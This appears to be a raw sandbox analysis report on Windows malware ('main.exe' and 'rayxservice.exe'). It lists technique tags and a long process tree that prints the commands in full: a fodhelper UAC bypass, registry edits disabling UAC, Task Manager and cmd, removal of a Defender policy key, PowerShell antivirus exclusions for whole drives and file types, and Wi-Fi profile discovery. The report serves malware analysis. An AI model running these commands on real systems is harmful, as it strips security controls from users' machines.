PID 2664 wrote to memory of 2180	2664	main.exe	79
PID 2664 wrote to memory of 2180	2664	main.exe	79
PID 2180 wrote to memory of 4880	2180	cmd.exe	81
PID 2180 wrote to memory of 4880	2180	cmd.exe	81
PID 4880 wrote to memory of 4240	4880	fodhelper.exe	82
PID 4880 wrote to memory of 4240	4880	fodhelper.exe	82
PID 2664 wrote to memory of 1100	2664	main.exe	84
PID 2664 wrote to memory of 1100	2664	main.exe	84
PID 4240 wrote to memory of 2148	4240	cmd.exe	86
PID 4240 wrote to memory of 2148	4240	cmd.exe	86
PID 1100 wrote to memory of 1600	1100	cmd.exe	87
PID 1100 wrote to memory of 1600	1100	cmd.exe	87
PID 2664 wrote to memory of 2356	2664	main.exe	88
PID 2664 wrote to memory of 2356	2664	main.exe	88
PID 2356 wrote to memory of 4392	2356	cmd.exe	90
PID 2356 wrote to memory of 4392	2356	cmd.exe	90
PID 2664 wrote to memory of 4680	2664	main.exe	91
PID 2664 wrote to memory of 4680	2664	main.exe	91
PID 4680 wrote to memory of 3608	4680	cmd.exe	93
PID 4680 wrote to memory of 3608	4680	cmd.exe	93
PID 2664 wrote to memory of 3424	2664	main.exe	94
PID 2664 wrote to memory of 3424	2664	main.exe	94
PID 3424 wrote to memory of 4256	3424	cmd.exe	96
PID 3424 wrote to memory of 4256	3424	cmd.exe	96
PID 2664 wrote to memory of 3344	2664	main.exe	97
PID 2664 wrote to memory of 3344	2664	main.exe	97
PID 2664 wrote to memory of 4128	2664	main.exe	98
PID 2664 wrote to memory of 4128	2664	main.exe	98
PID 2664 wrote to memory of 1920	2664	main.exe	99
PID 2664 wrote to memory of 1920	2664	main.exe	99
PID 2664 wrote to memory of 1372	2664	main.exe	100
PID 2664 wrote to memory of 1372	2664	main.exe	100
PID 2664 wrote to memory of 3376	2664	main.exe	101
PID 2664 wrote to memory of 3376	2664	main.exe	101
PID 1920 wrote to memory of 3484	1920	cmd.exe	107
PID 1920 wrote to memory of 3484	1920	cmd.exe	107
PID 1372 wrote to memory of 3496	1372	cmd.exe	108
PID 1372 wrote to memory of 3496	1372	cmd.exe	108
PID 3344 wrote to memory of 4000	3344	cmd.exe	109
PID 3344 wrote to memory of 4000	3344	cmd.exe	109
PID 3344 wrote to memory of 4824	3344	cmd.exe	110
PID 3344 wrote to memory of 4824	3344	cmd.exe	110
PID 4128 wrote to memory of 3768	4128	cmd.exe	111
PID 4128 wrote to memory of 3768	4128	cmd.exe	111
PID 2664 wrote to memory of 344	2664	main.exe	112
PID 2664 wrote to memory of 344	2664	main.exe	112
PID 344 wrote to memory of 4672	344	cmd.exe	114
PID 344 wrote to memory of 4672	344	cmd.exe	114
PID 2664 wrote to memory of 3532	2664	main.exe	115
PID 2664 wrote to memory of 3532	2664	main.exe	115
PID 3532 wrote to memory of 3264	3532	cmd.exe	117
PID 3532 wrote to memory of 3264	3532	cmd.exe	117
PID 2664 wrote to memory of 2232	2664	main.exe	118
PID 2664 wrote to memory of 2232	2664	main.exe	118
PID 2232 wrote to memory of 4700	2232	cmd.exe	120
PID 2232 wrote to memory of 4700	2232	cmd.exe	120
PID 3344 wrote to memory of 1264	3344	cmd.exe	121
PID 3344 wrote to memory of 1264	3344	cmd.exe	121
PID 3344 wrote to memory of 1852	3344	cmd.exe	122
PID 3344 wrote to memory of 1852	3344	cmd.exe	122
PID 1264 wrote to memory of 5884	1264	rayxservice.exe	123
PID 1264 wrote to memory of 5884	1264	rayxservice.exe	123

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStore = "1"	rayxservice.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
3484	attrib.exe
3496	attrib.exe
3768	attrib.exe

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Users\Admin\AppData\Local\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Temp\main.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\system32\fodhelper.exe
      fodhelper.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\main.exe" & pause"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4240
      - C:\Users\Admin\AppData\Local\Temp\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\main.exe"
        6⤵
        Drops startup file
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:2148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        7⤵
        
        PID:5964
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        8⤵
        
        PID:6008
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\main.exe" & pause"
        9⤵
        
        PID:6076
        
        C:\Users\Admin\AppData\Local\Temp\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\main.exe"
        10⤵
        
        PID:4916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        7⤵
        
        PID:6136
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        8⤵
        
        PID:3792
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        7⤵
        
        PID:3284
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        8⤵
        UAC bypass
        Modifies registry key
        
        PID:4044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
        7⤵
        
        PID:1616
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
        8⤵
        Modifies registry key
        
        PID:3240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        7⤵
        
        PID:1708
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        8⤵
        UAC bypass
        
        PID:72
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\systemrayxadmin\system.bat"
        7⤵
        
        PID:2160
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:944
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:2088
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:3144
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:2296
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:3380
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:7164
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:3412
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5756
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:3952
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:1564
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:4956
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:5040
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:4704
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:3376
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:6272
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:6552
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:6700
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:2608
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:3624
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5288
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:5092
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:6832
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5248
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:5628
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:280
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5388
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:2744
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:5796
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:880
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:6992
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:4728
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:6096
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:4760
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:6912
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:2588
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:5020
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:5036
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5596
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:7044
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:5612
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:5312
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:6172
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:6892
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        8⤵
        Delays execution with timeout.exe
        
        PID:6136
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq rayxservice.exe"
        8⤵
        Enumerates processes with tasklist
        
        PID:7012
        
        C:\Windows\system32\find.exe
        
        find /I "rayxservice.exe"
        8⤵
        
        PID:6620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
      4⤵
      PID:1600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\system32\reg.exe
      reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
      4⤵
      PID:3608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\system32\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\systemrayxadmin\system.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq rayxservice.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4000
  - - C:\Windows\system32\find.exe
      find /I "rayxservice.exe"
      4⤵
      PID:4824
  - - C:\Users\systemrayxadmin\rayxservice.exe
      "C:\Users\systemrayxadmin\rayxservice.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1264
    - - C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        5⤵
        Disables cmd.exe use via registry modification
        Drops file in Drivers directory
        Drops startup file
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        System policy modification
        
        PID:5884
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        6⤵
        
        PID:3980
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        7⤵
        
        PID:2528
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        8⤵
        
        PID:1840
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        9⤵
        Drops startup file
        Executes dropped EXE
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:5112
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        10⤵
        
        PID:2372
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        11⤵
        
        PID:3560
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        12⤵
        
        PID:5092
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        13⤵
        Drops startup file
        Executes dropped EXE
        Modifies registry class
        
        PID:2020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        14⤵
        
        PID:2672
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        15⤵
        
        PID:6188
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        16⤵
        
        PID:1484
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        17⤵
        Drops startup file
        Executes dropped EXE
        Modifies registry class
        
        PID:4400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        18⤵
        
        PID:780
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        19⤵
        
        PID:5848
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        20⤵
        
        PID:7008
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        21⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:5932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        22⤵
        
        PID:2300
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        23⤵
        
        PID:1664
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        24⤵
        
        PID:4620
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        25⤵
        
        PID:5800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        26⤵
        
        PID:4888
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        27⤵
        
        PID:6224
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        28⤵
        
        PID:2476
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        29⤵
        
        PID:6820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        30⤵
        
        PID:4644
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        31⤵
        
        PID:6204
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        32⤵
        
        PID:4224
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        33⤵
        
        PID:3548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        34⤵
        
        PID:6784
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        35⤵
        
        PID:3356
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        36⤵
        
        PID:5216
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        37⤵
        
        PID:296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        38⤵
        
        PID:6920
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        39⤵
        
        PID:6756
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        40⤵
        
        PID:584
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        41⤵
        
        PID:2432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        42⤵
        
        PID:5384
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        43⤵
        
        PID:4896
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        44⤵
        
        PID:1384
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        45⤵
        
        PID:1900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        46⤵
        
        PID:1004
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        47⤵
        
        PID:2912
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        48⤵
        
        PID:2752
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        49⤵
        
        PID:1980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        50⤵
        
        PID:4792
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        51⤵
        
        PID:3252
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        52⤵
        
        PID:488
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        53⤵
        
        PID:6020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        54⤵
        
        PID:3920
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        55⤵
        
        PID:1552
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        55⤵
        
        PID:5708
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        56⤵
        
        PID:6752
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        57⤵
        
        PID:7136
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        57⤵
        
        PID:6024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        58⤵
        
        PID:5248
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        59⤵
        
        PID:6216
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        60⤵
        
        PID:1236
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        61⤵
        
        PID:5252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        62⤵
        
        PID:6136
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        63⤵
        
        PID:2820
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        64⤵
        
        PID:6728
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        65⤵
        
        PID:4952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        66⤵
        
        PID:6032
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        67⤵
        
        PID:6468
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        68⤵
        
        PID:3860
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        69⤵
        
        PID:7164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        70⤵
        
        PID:7416
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        71⤵
        
        PID:2780
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        72⤵
        
        PID:2376
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        73⤵
        
        PID:4724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        74⤵
        
        PID:7400
        
        C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        75⤵
        
        PID:2508
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ""C:\Users\systemrayxadmin\rayxservice.exe" & pause"
        76⤵
        
        PID:6228
        
        C:\Users\systemrayxadmin\rayxservice.exe
        
        "C:\Users\systemrayxadmin\rayxservice.exe"
        77⤵
        
        PID:1192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "fodhelper.exe"
        78⤵
        
        PID:332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f"
        74⤵
        
        PID:8108
        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /f
        75⤵
        Modifies registry key
        
        PID:7240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
        74⤵
        
        PID:5824
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        75⤵
        
        PID:2188
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        75⤵
        
        PID:3632
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /f
        74⤵
        
        PID:6092
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
        74⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6252
        
        C:\Windows\SYSTEM32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableCMD /t REG_DWORD /d 1 /f
        74⤵
        Modifies registry key
        
        PID:4316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
        74⤵
        
        PID:6480
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
        74⤵
        
        PID:5764
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        75⤵
        Modifies registry key
        
        PID:1040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.exe'"
        74⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3372
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show profiles
        74⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.bat'"
        74⤵
        
        PID:3992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath '.vbs'"
        74⤵
